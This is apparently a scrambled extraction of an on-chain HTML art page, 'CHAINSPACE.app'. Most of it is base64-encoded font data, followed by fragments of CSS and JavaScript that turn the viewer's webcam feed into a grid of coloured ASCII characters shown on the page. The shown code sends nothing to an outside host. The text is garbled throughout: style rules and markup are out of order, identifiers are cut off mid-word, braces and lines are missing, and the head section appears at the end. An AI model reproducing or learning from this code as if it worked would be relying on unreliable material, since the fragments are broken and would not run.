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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #222222;
    font-size: 15px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#222222", ];
      let running = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);
       height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
        const res = M
new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
    const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className = 'M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
      document.getElementById('stop').addEventListener('click', (e) => {
   running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
